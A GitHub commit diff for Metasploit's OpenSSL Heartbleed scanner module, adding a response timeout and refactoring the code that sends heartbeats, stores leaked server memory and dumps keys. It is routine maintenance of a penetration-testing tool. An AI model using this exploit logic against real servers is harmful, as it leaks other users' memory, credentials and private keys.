Skip to content

Commit 5083143

Browse files
committed
Land rapid7#3238, @Zinterax's timeout addition in openssl_heartbleed
2 parents 8a011ec + c68b7aa commit 5083143

File tree

1 file changed

+78
-51
lines changed

1 file changed

+78
-51
lines changed

modules/auxiliary/scanner/ssl/openssl_heartbleed.rb

Lines changed: 78 additions & 51 deletions
Original file line numberDiff line numberDiff line change
@@ -110,7 +110,8 @@ def initialize
110110
'juan vazquez', # Msf module
111111
'Sebastiano Di Paola', # Msf module
112112
'Tom Sellers', # Msf module
113-
'jjarmoc' #Msf module; keydump, refactoring..
113+
'jjarmoc', #Msf module; keydump, refactoring..
114+
'Ben Buchanan' #Msf module
114115
],
115116
'References' =>
116117
[
@@ -140,7 +141,8 @@ def initialize
140141
OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
141142
OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 10]),
142143
OptInt.new('STATUS_EVERY', [true, 'How many retries until status', 5]),
143-
OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil])
144+
OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil]),
145+
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10])
144146
], self.class)
145147

146148
register_advanced_options(
@@ -167,6 +169,11 @@ def run
167169
return
168170
end
169171

172+
if response_timeout < 0
173+
print_error("RESPONSE_TIMEOUT should be bigger than 0")
174+
return
175+
end
176+
170177
super
171178
end
172179

@@ -186,41 +193,45 @@ def peer
186193
"#{rhost}:#{rport}"
187194
end
188195

196+
def response_timeout
197+
datastore['RESPONSE_TIMEOUT']
198+
end
199+
189200
def tls_smtp
190201
# https://tools.ietf.org/html/rfc3207
191-
sock.get_once
202+
sock.get_once(-1, response_timeout)
192203
sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\r\n")
193-
res = sock.get_once
204+
res = sock.get_once(-1, response_timeout)
194205

195206
unless res && res =~ /STARTTLS/
196207
return nil
197208
end
198209
sock.put("STARTTLS\r\n")
199-
sock.get_once
210+
sock.get_once(-1, response_timeout)
200211
end
201212

202213
def tls_imap
203214
# http://tools.ietf.org/html/rfc2595
204-
sock.get_once
215+
sock.get_once(-1, response_timeout)
205216
sock.put("a001 CAPABILITY\r\n")
206-
res = sock.get_once
217+
res = sock.get_once(-1, response_timeout)
207218
unless res && res =~ /STARTTLS/i
208219
return nil
209220
end
210221
sock.put("a002 STARTTLS\r\n")
211-
sock.get_once
222+
sock.get_once(-1, response_timeout)
212223
end
213224

214225
def tls_pop3
215226
# http://tools.ietf.org/html/rfc2595
216-
sock.get_once
227+
sock.get_once(-1, response_timeout)
217228
sock.put("CAPA\r\n")
218-
res = sock.get_once
229+
res = sock.get_once(-1, response_timeout)
219230
if res.nil? || res =~ /^-/ || res !~ /STLS/
220231
return nil
221232
end
222233
sock.put("STLS\r\n")
223-
res = sock.get_once
234+
res = sock.get_once(-1, response_timeout)
224235
if res.nil? || res =~ /^-/
225236
return nil
226237
end
@@ -237,15 +248,15 @@ def jabber_connect_msg(hostname)
237248

238249
def tls_jabber
239250
sock.put(jabber_connect_msg(datastore['XMPPDOMAIN']))
240-
res = sock.get
251+
res = sock.get(response_timeout)
241252
if res && res.include?('host-unknown')
242253
jabber_host = res.match(/ from='([\w.]*)' /)
243254
if jabber_host && jabber_host[1]
244255
disconnect
245256
connect
246257
vprint_status("#{peer} - Connecting with autodetected remote XMPP hostname: #{jabber_host[1]}...")
247258
sock.put(jabber_connect_msg(jabber_host[1]))
248-
res = sock.get
259+
res = sock.get(response_timeout)
249260
end
250261
end
251262
if res.nil? || res.include?('stream:error') || res !~ /<starttls xmlns=['"]urn:ietf:params:xml:ns:xmpp-tls['"]/
@@ -254,17 +265,17 @@ def tls_jabber
254265
end
255266
msg = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
256267
sock.put(msg)
257-
res = sock.get
268+
res = sock.get(response_timeout)
258269
return nil if res.nil? || !res.include?('<proceed')
259270
res
260271
end
261272

262273
def tls_ftp
263274
# http://tools.ietf.org/html/rfc4217
264-
res = sock.get
275+
res = sock.get(response_timeout)
265276
return nil if res.nil?
266277
sock.put("AUTH TLS\r\n")
267-
res = sock.get_once
278+
res = sock.get_once(-1, response_timeout)
268279
return nil if res.nil?
269280
if res !~ /^234/
270281
# res contains the error message
@@ -289,12 +300,14 @@ def run_host(ip)
289300
end
290301
end
291302

292-
def bleed()
303+
def bleed
293304
# This actually performs the heartbleed portion
294-
establish_connect
305+
connect_result = establish_connect
306+
return if connect_result.nil?
307+
295308
vprint_status("#{peer} - Sending Heartbeat...")
296309
sock.put(heartbeat(heartbeat_length))
297-
hdr = sock.get_once(5)
310+
hdr = sock.get_once(5, response_timeout)
298311
if hdr.blank?
299312
vprint_error("#{peer} - No Heartbeat response...")
300313
return
@@ -307,7 +320,7 @@ def bleed()
307320

308321
# try to get the TLS error
309322
if type == ALERT_RECORD_TYPE
310-
res = sock.get_once(len)
323+
res = sock.get_once(len, response_timeout)
311324
alert_unp = res.unpack('CC')
312325
alert_level = alert_unp[0]
313326
alert_desc = alert_unp[1]
@@ -335,38 +348,43 @@ def bleed()
335348
end
336349

337350
def loot_and_report(heartbeat_data)
338-
if heartbeat_data
339-
print_good("#{peer} - Heartbeat response with leak")
340-
report_vuln({
341-
:host => rhost,
342-
:port => rport,
343-
:name => self.name,
344-
:refs => self.references,
345-
:info => "Module #{self.fullname} successfully leaked info"
346-
})
347-
if datastore['MODE'] == 'DUMP' # Check mode, dump if requested.
348-
pattern = datastore['DUMPFILTER']
349-
if pattern
350-
match_data = heartbeat_data.scan(pattern).join
351-
else
352-
match_data = heartbeat_data
353-
end
354-
path = store_loot(
355-
"openssl.heartbleed.server",
356-
"application/octet-stream",
357-
rhost,
358-
match_data,
359-
nil,
360-
"OpenSSL Heartbleed server memory"
361-
)
362-
print_status("#{peer} - Heartbeat data stored in #{path}")
363-
end
364-
vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
351+
352+
unless heartbeat_data
353+
vprint_error("#{peer} - Looks like there isn't leaked information...")
354+
return
355+
end
356+
357+
print_good("#{peer} - Heartbeat response with leak")
358+
report_vuln({
359+
:host => rhost,
360+
:port => rport,
361+
:name => self.name,
362+
:refs => self.references,
363+
:info => "Module #{self.fullname} successfully leaked info"
364+
})
365+
366+
if action.name == 'DUMP' # Check mode, dump if requested.
367+
pattern = datastore['DUMPFILTER']
368+
if pattern
369+
match_data = heartbeat_data.scan(pattern).join
365370
else
366-
vprint_error("#{peer} - Looks like there isn't leaked information...")
371+
match_data = heartbeat_data
367372
end
373+
path = store_loot(
374+
"openssl.heartbleed.server",
375+
"application/octet-stream",
376+
rhost,
377+
match_data,
378+
nil,
379+
"OpenSSL Heartbleed server memory"
380+
)
381+
print_status("#{peer} - Heartbeat data stored in #{path}")
368382
end
369383

384+
vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
385+
386+
end
387+
370388
def getkeys()
371389
unless datastore['TLS_CALLBACK'] == 'None'
372390
print_error('TLS callbacks currently unsupported for keydumping action') #TODO
@@ -499,18 +517,26 @@ def establish_connect
499517
res = self.send(TLS_CALLBACKS[datastore['TLS_CALLBACK']])
500518
if res.nil?
501519
vprint_error("#{peer} - STARTTLS failed...")
502-
return
520+
return nil
503521
end
504522
end
505523

506524
vprint_status("#{peer} - Sending Client Hello...")
507525
sock.put(client_hello)
508526

509-
server_hello = sock.get
527+
server_hello = sock.get(response_timeout)
528+
unless server_hello
529+
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
530+
disconnect
531+
return nil
532+
end
533+
510534
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
511535
vprint_error("#{peer} - Server Hello Not Found")
512-
return
536+
return nil
513537
end
538+
539+
true
514540
end
515541

516542
def key_from_pqe(p, q, e)
@@ -534,3 +560,4 @@ def key_from_pqe(p, q, e)
534560
end
535561

536562
end
563+

0 commit comments

Comments
 (0)